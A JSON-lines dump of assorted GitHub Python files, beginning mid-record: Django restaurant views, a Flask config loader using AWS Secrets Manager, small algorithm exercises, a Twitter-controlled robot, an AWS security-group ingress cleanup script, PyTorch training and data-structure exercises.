AdminUser.DoesNotExist:\n        raise HttpResponseForbidden()\n        \n    # check if user already has a company\n    try:\n        company = Company.objects.get(admin=user)\n    except Company.DoesNotExist:\n        company = None\n\n    # if user has company, redirect him/her to list_categories\n    if company:\n        return redirect('restaurant:list_categories')\n\n    if request.method == 'POST':\n        form = RegisterForm(request.POST)\n\n        if form.is_valid(user):\n            return redirect('company:list')\n\n    else:\n        form = RegisterForm\n\n    return render(request, template, {'form': form})\n\n\ndef add_category(request):\n    template = 'restaurant/add_category.html'\n    form = CategoryForm\n    company = Company.objects.get(admin=request.user)\n\n    if request.method == 'POST':\n        form = CategoryForm(request.POST)\n\n        if form.is_valid(company):\n            return redirect('restaurant:list_categories')\n        else:\n            messages.error(request, 'Esa categoría ya existe')\n\n    return render(request, template, {\n        'form': form, \n        'company': company\n        }\n    )\n\n\ndef list_categories(request):\n    template = 'restaurant/list_categories.html'\n    company = Company.objects.get(admin=request.user)\n    categories = Category.objects.filter(\n        company=company,\n        is_deleted=False\n    )\n    return render(request, template, {\n        'categories': categories\n    })\n\n\ndef edit_category(request, category_id):\n    template = 'restaurant/update_category.html'\n    context = {}\n    category = get_object_or_404(Category, id=category_id)\n    form = CategoryUpdateForm(request.POST or None, instance=category)\n\n    if form.is_valid():\n        form.save()\n        return redirect('restaurant:list_categories')\n    \n    context['form'] = form\n    return render(request, template, context)\n\n\ndef delete_category(request, category_id):\n    category = Category.objects.get(id=category_id)\n    category.is_deleted = True\n    category.save()\n    return redirect('restaurant:list_categories')\n\n\ndef form_sent(request, *args, **kwargs):\n    template = 'restaurant/form_sent.html'\n    return render(request, template)\n","repo_name":"jose-padin/takeaway","sub_path":"project/core/restaurant/views/restaurant.py","file_name":"restaurant.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16552105616","text":"from flask import Flask\nimport os\nimport requests\nimport yaml\n\n\napp = Flask(__name__)\n\n\ndef get_secret(secret_name):\n    import boto3\n    import json\n    if 'AWS_SECRETS_REGION' in os.environ:\n        region = os.environ['AWS_SECRETS_REGION']\n    else:\n        r = requests.get('http://169.254.169.254/latest/dynamic/instance-identity/document')\n        r.raise_for_status()\n        data = r.json()\n        region = data['region']\n    client = boto3.client(\n        service_name='secretsmanager',\n        region_name=region\n    )\n\n    # Decrypted secret using the associated KMS CMK\n    # Depending on whether the secret was a string or binary, one of these fields will be populated\n    get_secret_value_response = client.get_secret_value(SecretId=secret_name)\n    if 'SecretString' in get_secret_value_response:\n        secret = get_secret_value_response['SecretString']\n    else:\n        secret = get_secret_value_response['SecretBinary'].decode(\"utf-8\")\n    return yaml.safe_load(secret)\n\n\nif 'SETTINGS' in os.environ:\n    if os.path.isfile(os.environ['SETTINGS']):\n        with open(os.environ['SETTINGS'], 'r') as stream:\n            app.config.update(yaml.safe_load(stream))\n    else:\n        print('Unable to open settings file %s' % (os.environ['SETTINGS']))\n\n\n# Can be used to store entire config in AWS Secrets Manager, or can be combined\n# with file based config to provide some (but not all) settings. Can't be used\n# with the AWS Concole- the config must by uploaded using the API.\nif 'AWS_SECRETS_SETTINGS' in os.environ:\n    aws_secret_name = os.environ['AWS_SECRETS_SETTINGS']\n    aws_config = get_secret(aws_secret_name)\n    app.config.update(aws_config)\n\n# If enabled in the existing (typically file based) settings then some specific\n# settings will be looked for in the AWS Secrets Manager. This is the only AWS\n# Console compatible option.\nif 'aws_secret_name' in app.config:\n    secret_mapping = {\n        'bind_password': 'ldap',\n        'bind_dn': 'ldap',\n        'secret_key': 'general',\n        'ssh_secret': 'api',\n        'username': 'postgres',\n        'password': 'postgres',\n    }\n    aws_secrets = aws.get_secret(app.config['aws_secret_name'])\n    for key, value in aws_secrets.items():\n        if key in secret_mapping:\n            app.config[secret_mapping[key]][key] = value\n\n\n# if enabled logs will be sent to LogDNA via ingest api.\nif 'LOGDNA_INGESTION_KEY' in os.environ:\n    import logging\n    from logdna import LogDNAHandler\n\n    logdna_handler = LogDNAHandler(\n        os.getenv('LOGDNA_INGESTION_KEY'),\n        {'app': 'Nebula', 'include_standard_meta': True})\n    log_level = logging.DEBUG if 'DEBUG' in os.environ else logging.INFO\n    logdna_handler.setLevel(log_level)\n    app.logger.addHandler(logdna_handler)\n    app.logger.info('added logdna handler..')\n\n\nif 'general' not in app.config:\n    app.config['general'] = {\n        'filecache': '/tmp/nebula',\n        'secret_key': 'changeme'\n    }\n\nif 'site_name' not in app.config['general']:\n    app.config['general']['site_name'] = 'nebula'\n\n\n# Initialize Celery\nfrom celery import Celery\nif 'celery' in app.config:\n    celery = Celery(__name__, broker=app.config['celery']['broker'], backend=app.config['celery']['results'])\nelse:\n    celery = Celery(__name__)\n\nimport nebula.nebula\n","repo_name":"tedivm/nebula","sub_path":"nebula/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3282,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"21"}
+{"seq_id":"36206959321","text":"import argparse\nimport yaml\n\n\ndef initialize_config(args):\n    fname = \"source/config.yaml\"\n    with open(fname, 'r') as stream:\n        data = yaml.load(stream)\n        #data['feature_selection'] = args.feature_selection\n        data['grid_search'] = args.grid_search\n        #data['svm_cost'] = args.svm_cost \n        #data['svm_gamma'] = args.svm_gamma\n        data['csv_file'] = args.csv_file \n\n    with open(fname, 'w') as yaml_file:\n        yaml_file.write(yaml.dump(data, default_flow_style=False))\n\ndef args():\n    '''\n    Read args (path to tweets)\n    '''\n    parser = argparse.ArgumentParser(description ='Read args for SVM model')\n    #parser.add_argument('feature_selection', help=\"which feature selection should be run\")\n    parser.add_argument('grid_search', help=\"should grid search be run. If not, run SVM estimator with supplied parameters\")\n    #parser.add_argument('svm_cost', help=\"svm cost\")\n    #parser.add_argument('svm_gamma', help='svm gamma')\n    parser.add_argument('csv_file', help='path to csv')\n\n    args = parser.parse_args()\n    initialize_config(args)\n   \n","repo_name":"ncanterbury/directed_study","sub_path":"svm_model/source/configure.py","file_name":"configure.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"890231683","text":"import unittest\n\n\ndef encode(plaintext):\n    if plaintext == '':\n        return plaintext\n\n    ciphertext = ''\n    current_char = plaintext[0]\n    series_count = 0\n\n    for letter in plaintext:\n        if letter == current_char:\n            series_count += 1\n        else:\n            ciphertext += compress_series(current_char, series_count)\n            current_char = letter\n            series_count = 1\n\n    ciphertext += compress_series(current_char, series_count)\n\n    return ciphertext\n\n\ndef compress_series(character, quantity):\n    if quantity == 1:\n        return character\n    else:\n        return str(quantity) + character\n\n\ndef decode(ciphertext):\n    quantity = ''\n    plaintext = ''\n    for letter in ciphertext:\n        if letter.isdigit():\n            quantity += letter\n        else:\n            if quantity == '':\n                plaintext += letter\n            else:\n                plaintext += int(quantity) * letter\n                quantity = ''\n\n    return plaintext","repo_name":"majakubo/exercism_exercises","sub_path":"python/run-length-encoding/run_length_encoding.py","file_name":"run_length_encoding.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5943305310","text":"import time\nfrom typing import List, Tuple\nfrom collections import namedtuple\nimport numpy as np\n\n\ncar_park = namedtuple('car_park', ['x', 'y', 'distance'])\n\nclass Parking:\n    def minTime(self, park_raw: List[str]) -> int:\n        start_time = time.time()\n        \n        # Build 2d-array from input\n        park = self.read_input(park_raw)\n        \n        # Step 1: collect all the cars\n        cars = []\n        count_parks = 0\n        \n        it = np.nditer(park, flags=['multi_index'], op_flags=['readonly'])\n        while not it.finished:\n            # If we find car,\n            if it[0] == 'C':\n                cars.append(it.multi_index)\n            elif it[0] == 'P':\n                count_parks += 1\n            it.iternext()\n        \n        if count_parks != len(cars):\n            return -1\n        \n        # Step 2: for each car find possible parks\n        car_parks_map = []\n        for car in cars:\n            car_parks = self.find_parks(park, car)\n            if not len(car_parks):\n                return -1\n\n            car_parks_map.append(car_parks)\n        \n        # Step 3: run binary search to find optimal pairs\n        result_time = self.get_min_time(park)\n        \n        eval_time = time.time() - start_time\n        print(f'{eval_time} sec', end='\\n\\n')\n\n        return result_time\n        \n    def read_input(self, park: List[str]) -> np.ndarray:\n        pass\n    \n    def find_parks(self, park: np.ndarray, car: Tuple(int, int)) -> List[car_park]:\n        \"\"\"\n        Find all the parks available to given car standing on (i, j).\n        \"\"\"\n        pass\n    \n    def get_min_time(self, park: np.ndarray, car_parks_map: List[List[car_park]]) -> int:\n        pass\n\n\nparking = Parking()\n\n\n# Every car just drives to the opposite parking spot.\npark = [\n    \"C.....P\",\n    \"C.....P\",\n    \"C.....P\",\n]\nassert 6 == parking.minTime(park)\n\n# The slalom takes the car 16 units of time.\npark = [\n    \"C.X.....\",\n    \"..X..X..\",\n    \"..X..X..\",\n    \".....X.P\",\n]\nassert 16 == parking.minTime(park)\n\n# This would take 11 instead of 5 units of time if the car on the bottom drove to its nearest parking spot.\npark = [\n    \"XXXXXXXXXXX\",\n    \"X......XPPX\",\n    \"XC...P.XPPX\",\n    \"X......X..X\",\n    \"X....C....X\",\n    \"XXXXXXXXXXX\",\n]\nassert 5 == parking.minTime(park)\n\n# While driving, the cars can be on the same empty spot or parking spot, but they have to finish on different parking spots.\npark = [\n    \".C.\",\n    \"...\",\n    \"C.C\",\n    \"X.X\",\n    \"PPP\",\n]\nassert 4 == parking.minTime(park)\n\n# There are not enough parking spots for all the cars.\npark = [\n    \"CCCCC\",\n    \".....\",\n    \"PXPXP\",\n]\nassert -1 == parking.minTime(park)\n\n# The car can't reach the parking spot.\npark = [\n    \"..X..\",\n    \"C.X.P\",\n    \"..X..\",\n]\nassert -1 == parking.minTime(park)\n","repo_name":"gugaevkirill/algorithms","sub_path":"Optimal Pair Matching/SRM 236 Parking/parking.py","file_name":"parking.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"20736290325","text":"from simpleai.search import (\n    SearchProblem,\n    breadth_first,\n    depth_first,\n    uniform_cost,\n    greedy,\n    astar\n)\nfrom simpleai.search.viewers import WebViewer, BaseViewer, ConsoleViewer\n\nINITIAL_STATE = (0,0,0)\nGOAL_STATE = (5,1,8)\n\nclass AlienStarshipProblem(SearchProblem):\n    def is_goal(self, state):\n        return state == GOAL_STATE\n    \n    def actions(self, state):\n        possible_actions = []\n\n        for x in range(0,4):\n            value1, value2, value3 = state\n            aux = 0\n\n            if x == 0:      #red\n                value1 += 3\n                if (0 <= value1 <= 9):\n                    possible_actions.append(('red',value1,-1))\n            elif x == 1:    #green\n                value1 -= 2\n                if (0 <= value1 <= 9):\n                    possible_actions.append(('green',value1,-1))\n            elif x == 2:    #yellow\n                aux = value1\n                value1 = value2\n                value2 = aux\n                possible_actions.append(('yellow',value1,value2))\n            elif x == 3:    #cyan\n                aux = value2\n                value2 = value3\n                value3 = aux\n                possible_actions.append(('cyan',value2,value3))\n\n        return possible_actions\n\n    def result(self, state, action):\n        button, new_value1, new_value2 = action\n        state = list(state)\n        if button == 'red':\n            state[0] = new_value1\n        elif button == 'green':\n            state[0] = new_value1\n        elif button == 'yellow':\n            state[0] = new_value1\n            state[1] = new_value2\n        elif button == 'cyan':\n            state[1] = new_value1\n            state[2] = new_value2\n        state = tuple(state)\n        #print(state)\n        return state\n\n    def cost(self, state, action, state2):\n        return 1\n\n    def heuristic(self, state):\n        # Sin heuristica\n        # return super().heuristic(state)\n        # {'max_fringe_size': 126, 'visited_nodes': 908, 'iterations': 908}\n\n        # Heuristica: cantidad de casillas que faltan para llegar al goal\n        # {'max_fringe_size': 146, 'visited_nodes': 724, 'iterations': 724}\n        value1, value2, value3 = state\n        goal1, goal2, goal3 = GOAL_STATE\n        x = 0\n        if value1 != goal1:\n            x += 1\n        if value2 != goal2:\n            x += 1\n        if value3 != goal3:\n            x += 1\n        \n        return x\n\nMETHODS = (\n    #breadth_first,\n    depth_first,\n    #uniform_cost,\n    greedy,\n    astar\n)    \n        \nfor search_algorithm in METHODS:\n    print()\n    print('=' * 50)\n    print(\"Running:\", search_algorithm)\n    visor = BaseViewer()\n    problem = AlienStarshipProblem(INITIAL_STATE)\n    result = search_algorithm(problem, graph_search = True, viewer = visor)\n    print ('Final State:', result.state)\n    print('=' * 50)\n    print(' - Statistics:')\n    print(' - Amount of actions until goal:', len(result.path()))\n    print(' - Raw data:', visor.stats)\n    '''\n    for action, state in result.path():\n        print(\"   - Action:\", action)\n        print(\"   - Resulting State:\", state)\n    '''","repo_name":"Ganymede23/UCSE-Practica-IA-2021","sub_path":"search_alien_starship.py","file_name":"search_alien_starship.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6037428413","text":"from time import sleep\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.support.select import Select\r\n\r\n\r\nclass AutomateCourse:\r\n    def __init__(self):\r\n        chrome_options = Options()\r\n        chrome_options.add_argument('--lang=pt-BR')\r\n        self.driver = webdriver.Chrome(executable_path=\"chromedriver.exe\", options=chrome_options)\r\n\r\n\r\n    def Start(self):\r\n        self.driver.get(\"https://cursoautomacao.netlify.app/\")\r\n        dropdown = self.driver.find_element_by_xpath(\"//select[@id='paisselect']\")\r\n        options = Select(dropdown)\r\n        options.select_by_index(2)\r\n        sleep(3)\r\n        options.select_by_index(1)\r\n        sleep(3)\r\n        options.select_by_index(0)\r\n\r\n        # options.select_by_value(\"brasil\", \"estadosunidos\", \"canada\")\r\n        # options.select_by_visible_text(\"Brasil\", \"Estados Unidos\", \"Canada\")\r\n\r\n\r\ncourse = AutomateCourse()\r\ncourse.Start()","repo_name":"franssa01/Courses","sub_path":"DevAprender/Mestre da Automação/02 Mestre da Web/Classes/CL012 Interecting with dropdown/navigation.py","file_name":"navigation.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"42033117258","text":"#!/usr/bin/python\nfrom Adafruit_MotorHAT import Adafruit_MotorHAT, Adafruit_DCMotor\n\nimport time\nimport atexit\nimport tweepy\n\n\ndef tweetBack(status, api, direction):\n\t\n\tposter = status[0].user\n\tpost = \"\"\n\tif direction == \"\":\n\t\tpost = \"@\" + poster.screen_name + \" You know I don't speak Spanish!\"\n\t\n\tif direction == \"r\":\n\t\tpost = \"@\" + poster.screen_name + \" you spin me right round, baby, right round!\"\n\tif direction == \"l\":\n\t\tpost = \"@\" + poster.screen_name + \" To the left, to the left, everything you own in a box to the left!\"\n\n\tif direction == \"f\":\n\t\tpost = \"@\" + poster.screen_name + \" Choo Choo Muttthafuckkah!\"\n\n\tif direction == \"b\":\n\t\tpost = \"@\" + poster.screen_name + \" Who is you playin' wit? back that azz up!\"\n\n\tprint(post)\n\ttry:\n\t\tapi.update_status(post)\n\t\n\texcept:\n\t\tprint(\"don't tweet twice\")\n\n\treturn\n\ndef mineTweetText(rawText):\n\t#build a corpus\n\tforwardWords = {\"forward\", \"ahead\", \"straight\", \"go\", \"onward\"}\n\tbackwardWords = {\"backward\", \"back\", \"backwards\", \"reverse\", \"away\", \"retreat\"} \t\n\tleftWords = {\"counterclockwise\", \"left\", \"port\"}\n\trightWords = {\"clockwise\", \"right\", \"starboard\"} \n\n\t\n\t\n\t#variables for command to robot\n\tdirection = \"\"\n\t\n\t#Mine Tweet for Direction\n\tfor word in forwardWords:\n\t\tif word in tweetText:\n\t\t\tdirection =\"f\"\n\tfor word in backwardWords:\n\t\tif word in tweetText:\n\t\t\tdirection = \"b\"\n\tfor word in rightWords:\n\t\tif word in tweetText:\n\t\t\tdirection = \"r\"\n\tfor word in leftWords:\n\t\tif word in tweetText:\n\t\t\tdirection = \"l\"\n\n\treturn direction\n\t\t\n\ndef twitterConnect():\n\tkey = \"Your Key\"\n\tsecret = \"Your Secret\"\n\taccessTok = \"Your Access Token\"\n\taccessSec = \"Your access secret\"\n\townerID = \"Your owner ID\"\n\towner = \"RealShittyRobot\"\t\n\t\n\tauth = tweepy.OAuthHandler(key, secret)\n\tauth.set_access_token(accessTok, accessSec)\n\tapi = tweepy.API(auth)\n\t\n\treturn api\n\ndef readTwitter(api):\n\n\tsearch_text = \"@RealShittyRobot\"\n\n\tstatus = api.search(search_text, rpp = 1)\n\n\treturn status \n\ndef makeMove(mh, direction, speed, moveTime):\n    speed = int(speed)\n    moveTime = float(moveTime)\n    print(\"direction\", direction, \"speed \", speed, \"move time\", moveTime)\n    frontLeft = mh.getMotor(1)\n    frontRight = mh.getMotor(2)\n    rearRight = mh.getMotor(3)\n    rearLeft = mh.getMotor(4)\n    \n    \n    if direction == \"f\":\n        frontRight.run(Adafruit_MotorHAT.FORWARD)\n        frontLeft.run(Adafruit_MotorHAT.FORWARD)\n        rearRight.run(Adafruit_MotorHAT.FORWARD)\n        rearLeft.run(Adafruit_MotorHAT.FORWARD)\n\n    if direction == \"b\":\n        frontRight.run(Adafruit_MotorHAT.BACKWARD)\n        frontLeft.run(Adafruit_MotorHAT.BACKWARD)\n        rearRight.run(Adafruit_MotorHAT.BACKWARD)\n        rearLeft.run(Adafruit_MotorHAT.BACKWARD)\n\n    if direction == \"l\":\n        frontRight.run(Adafruit_MotorHAT.FORWARD)\n        frontLeft.run(Adafruit_MotorHAT.BACKWARD)\n        rearRight.run(Adafruit_MotorHAT.FORWARD)\n        rearLeft.run(Adafruit_MotorHAT.BACKWARD)\n\n    if direction == \"r\":\n        frontRight.run(Adafruit_MotorHAT.BACKWARD)\n        frontLeft.run(Adafruit_MotorHAT.FORWARD)\n        rearRight.run(Adafruit_MotorHAT.BACKWARD)\n        rearLeft.run(Adafruit_MotorHAT.FORWARD)\n\n    frontLeft.setSpeed(speed)\n    frontRight.setSpeed(speed)\n    rearRight.setSpeed(speed)\n    rearLeft.setSpeed(speed)\n\n    time.sleep(moveTime)\n    turnOffMotors(mh)\n    return\n\n\n# recommended for auto-disabling motors on shutdown!\ndef turnOffMotors(mh):\n    mh.getMotor(1).run(Adafruit_MotorHAT.RELEASE)\n    mh.getMotor(2).run(Adafruit_MotorHAT.RELEASE)\n    mh.getMotor(3).run(Adafruit_MotorHAT.RELEASE)\n    mh.getMotor(4).run(Adafruit_MotorHAT.RELEASE)\n\ndef convertSpeed(speed):\n    speed = float(speed)\n    speed = speed / 100 * 255.0\n    return int(speed)\n\ndef moveTheRobot(direction, moveSpeed, moveTime):\n    runTime = moveTime\n    speed = moveSpeed\n\n    #while True:\n    mh = Adafruit_MotorHAT(addr=0x60)\n\t\n       # direction = raw_input(\"Select Direction f, b, l, r or q to quit: \")\n       # if direction == \"q\":\n       #     break\n\n       # runTime = raw_input(\"For how long?: \")\n       # speed = raw_input(\"How Fast 0 - 100 %?: \")\n       #speed = convertSpeed(speed)\n\n    makeMove(mh, direction, speed, runTime)\n\t\n\nif __name__ == \"__main__\":\n\tlastID = 0\n\n\t# Prompt for movement parameters\n#\tmoveTime = raw_input(\"Enter the time for the robot to move: \")\n#\tmoveSpeed = raw_input(\"Enter the desired speed of the robot %: \")\n#\tmoveSpeed = convertSpeed(moveSpeed)\n\tmoveTime = 1\n\tmoveSpeed = 120\n\t\n\t\n\n\ttime.sleep(15)\n\tapi = twitterConnect()\n\t\t\n\twhile(True):\n\t\tstatus = readTwitter(api)\n\t\tif status[0].id == lastID:\n\t\t\tprint(\"no new tweets\")\n\t\t\ttime.sleep(10)\n\t\t\tcontinue\n\t\t\n\t\ttweetText = status[0].text\n\t\ttweetText = tweetText.lower()\n\t\tlastID = status[0].id\n\t \t\n\t\tprint(tweetText)\t\n\t\tdirection = mineTweetText(tweetText)\n\t\tmoveTheRobot(direction, moveSpeed, moveTime)\n\t\ttweetBack(status, api, direction)\n\n","repo_name":"kimjongdill/ControlTheConditioners","sub_path":"shitty_robot.py","file_name":"shitty_robot.py","file_ext":"py","file_size_in_byte":4843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"22414828812","text":"import boto3\n\ndef main():\n    # Get a list of all AWS regions\n    regions = [region['RegionName'] for region in boto3.client('ec2',region_name='us-east-1').describe_regions()['Regions']]\n\n    for region in regions:\n        # Call close_port_in_security_group for each region\n        close_port_in_security_group(region)\ndef close_port_in_security_group(region_name):\n    ec2 = boto3.client('ec2', region_name=region_name)\n\n    # Get a list of all security groups in the specified region.\n    security_groups = ec2.describe_security_groups()['SecurityGroups']\n\n    # Iterate over each security group and check for open ports.\n    for security_group in security_groups:\n        ingress_rules = security_group['IpPermissions']\n        ingress_rule_list = []\n\n        if ingress_rules:\n            for rule in ingress_rules:\n                from_port = rule.get('FromPort', -1)\n                to_port = rule.get('ToPort', -1)\n                ip_protocol = rule.get('IpProtocol', None)\n                ip_ranges = rule.get('IpRanges', [])\n                ingress_rule_list.append({\n                    'FromPort': from_port,\n                    'ToPort': to_port,\n                    'IpProtocol': ip_protocol,\n                    'IpRanges': ip_ranges\n                })\n            print(ingress_rule_list)\n\n            try:\n                # Revoke the specified ingress rules for the port.\n                ec2.revoke_security_group_ingress(GroupId=security_group['GroupId'], IpPermissions=ingress_rule_list)\n                print(f'Successfully revoked ingress rules in security group {security_group[\"GroupId\"]} in region {region_name}')\n            except Exception as e:\n                print(f'Error revoking ingress rules in security group {security_group[\"GroupId\"]} in region {region_name}: {e}')\n        else:\n            print(f'No ingress rules found in the security group {security_group[\"GroupId\"]} in region {region_name}')\n\nif __name__ == '__main__':\n    main()\n","repo_name":"manju-reddyy/port_monitoring","sub_path":"port_monitoring.py","file_name":"port_monitoring.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11989755416","text":"import numpy as np\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\n\n\n# 准备数据集\nclass DiabetesDataset(Dataset):\n    def __init__(self, filepath):  # filepath 表示数据来自什么地方\n        # np.loadtxt为读取文本文档的函数\n        xy = np.loadtxt(filepath, delimiter=',', dtype=np.float32)\n        # shape为（N,9）元组，取出N的值\n        self.len = xy.shape[0]\n        # 第一个‘：’是指读取所有行，第二个‘：’是指从第一列开始，最后一列不要\n        self.x_data = torch.from_numpy(xy[:, :-1])\n        # 要最后一列，且最后得到的是个矩阵，所以要加[]\n        self.y_data = torch.from_numpy(xy[:, [-1]])\n\n    # 把里面的x_data[index],y_data[index]的第index条数据给拿出来\n    def __getitem__(self, index):\n        return self.x_data[index], self.y_data[index]\n\n    # 把整个数据的数量取出来,返回数据集的数据条数\n    def __len__(self):\n        return self.len\n\n\ndataset = DiabetesDataset('C:\\ProgramData\\Anaconda3\\Lib\\pytorchtrains\\线性回归\\diabetes.csv')  # 111.csv.gz数据路径\n# 用 DataLoader 构造了一个加载器\ntrain_loader = DataLoader(dataset=dataset, batch_size=32, shuffle=True, num_workers=2)\n\n\n# 设计模型\nclass Model(torch.nn.Module):\n    def __init__(self):\n        super(Model, self).__init__()\n        self.linearl1 = torch.nn.Linear(8, 6)\n        self.linearl2 = torch.nn.Linear(6, 4)\n        self.linearl3 = torch.nn.Linear(4, 1)\n        self.sigmoid = torch.nn.Sigmoid()\n\n    def forward(self, x):\n        x = self.sigmoid(self.linearl1(x))\n        x = self.sigmoid(self.linearl2(x))\n        x = self.sigmoid(self.linearl3(x))\n        return x\n\n\nmodel = Model()\n\n# 构造损失函数和优化器\ncriterion = torch.nn.BCELoss(reduction='mean')\noptimizer = torch.optim.SGD(model.parameters(), lr=0.01)\n\n# 训练\nif __name__ == '__main__':\n    for epoch in range(100):\n        # 对train_loader做迭代，用 enumerate是为了获得当前是第几次迭代\n        # 把从train_loader拿出来的（x,y）元组放到data里面\n        for i, data in enumerate(train_loader, 0):\n            # 在训练之前把x,y从data里面拿出来，inputs=x,labels=y，\n            # 此时inputs,labels都已经被自动转换为张量（tensor）\n            inputs, labels = data\n\n            # Forward\n            y_pred = model(inputs)\n            loss = criterion(y_pred, labels)\n            print(epoch, i, loss.item())\n\n            # backward\n            optimizer.zero_grad()\n            loss.backward()\n            # update\n            optimizer.step()","repo_name":"guessuppp/-Pytorchtrains-","sub_path":"加载数据及2.py","file_name":"加载数据及2.py","file_ext":"py","file_size_in_byte":2615,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"4579612334","text":"class Node:\n    def __init__(self,data):\n        self.data=data\n        self.next=None\nclass Queue:\n    def __init__(self):\n        self.front=None\n        self.rear=None\n\n    def enqueue(self):\n        n=input(\"Enter the element you want to insert in queue\")\n        new=Node(n)\n        if self.front is None:\n            self.front=new\n            self.rear=new\n        else:\n            self.rear.next=new\n            self.rear=new\n          \n    def dequeue(self):\n        if self.front is None:\n            print(\"Queue is empty\")\n        elif self.front.next is None:\n            print(\"Popped element is: \",self.front.data)\n            self.front=None\n        else:\n            temp=self.front\n            print(\"Popped element is: \",self.front.data)\n            self.front=temp.next\n            temp=None\n\n\n    def display(self):\n        if self.front is None:\n            print(\"Queue is empty\")\n        else:\n            print(\"Displaying the elements of the queue\")\n            temp=self.front\n            while temp:\n                print(temp.data,\"-->\",end=\" \")\n                temp=temp.next\n\n            print(\"\\nFront of the queue is: \",self.front.data)\n            print(\"\\nRear of the queue is: \",self.rear.data)\n\n\n\n\nq=Queue()\nwhile(1):\n    print(\"\\n Enter the option: \\n 1-Enqueue Operation \\n 2-Dequeue Operation \\n 3-Display \\n 4-Enter any key to break the loop\")\n    user_option=int(input())\n    if user_option==1:\n        print(\"Enqueue operation\")\n        q.enqueue()\n    elif user_option==2:\n        print(\"Dequeue Operation\")\n        q.dequeue()\n    elif user_option==3:\n        print(\"Display Operation\")\n        q.display()\n    else:\n        print(\"EXIT From the loop\")\n        break","repo_name":"pritha06/sde-bootcamp","sub_path":"stack and queue/queue_basic_operations_using_linked_list.py","file_name":"queue_basic_operations_using_linked_list.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24588607133","text":"# A binary tree node \nclass Node: \n\n\t# Constructor to create a new node \n\tdef __init__(self, data): \n\t\tself.data = data \n\t\tself.left = None\n\t\tself.right = None\n\n\n# Recursive function pritn left view of a binary tree \ndef rightViewUtil(root, level, max_level): \n\t\n\t# Base Case \n\tif root is None: \n\t\treturn\n\n\tif (max_level[0] < level): \n\t\tprint(\"% d\\t\" %(root.data))\n\t\tmax_level[0] = level \n\n\trightViewUtil(root.right, level + 1, max_level) \n\trightViewUtil(root.left, level + 1, max_level)\n\ndef rightView(root): \n\tmax_level = [0] \n\trightViewUtil(root, 1, max_level) \n \nroot = Node(12) \nroot.left = Node(10) \nroot.right = Node(20) \nroot.right.left = Node(25) \nroot.right.right = Node(40) \n\nrightView(root) ","repo_name":"annshiv/100day-coding-challenge","sub_path":"day 19/bin_right.py","file_name":"bin_right.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"24837639262","text":"import numpy as np\nimport pyHilbertCpp as hilbert \nfrom ParticleContainer import ParticleContainer, testfun_verify_verlet_list\nfrom fcc import FCC\nimport math\n\n\"\"\"\n3374 255 1 2 4\n3375 255 1 2 4\n3376 255 2 2 3\n3377 255 2 2 3\n3378 255 2 2 4\n3379 255 2 2 4\n3380 255 2 2 3\n3381 255 2 2 3\n3382 255 2 2 4\n\"\"\"\nprint(hilbert.ijk2h_1(1,2,4))\nprint(hilbert.ijk2h_1(2,2,3))\nexit()\nnB = 10\nn_atoms = 4*nB**3\natoms = ParticleContainer(n_atoms,arrays='raih')\n\nrmin = math.pow(2,1/6)\na = math.sqrt(2)*rmin\noffset = np.ones((3,))*(0.25*a)\natoms.rx,atoms.ry,atoms.rz,nb = FCC(n_atoms,a=a,offset=offset,verbose=False)\nassert nb==nB\n\nrcutoff = 3*rmin\natoms.compute_ijk_h(cell_width=rcutoff)\natoms.build_tables(rcutoff=rcutoff,reserve_atoms_per_cell=80,reserve_verlet=200,verbose=True)\n\nfor i in range(n_atoms):\n    print(i,atoms.h[i],atoms.i[i],atoms.j[i],atoms.k[i])\n\nH = atoms.hilbert_list.shape\nfor i in range(H[1]):\n    print(i, atoms.hilbert_list[0,i], atoms.hilbert_list[1,i])","repo_name":"etijskens/hpc-tnt-1.2","sub_path":"pyMD/testje.py","file_name":"testje.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
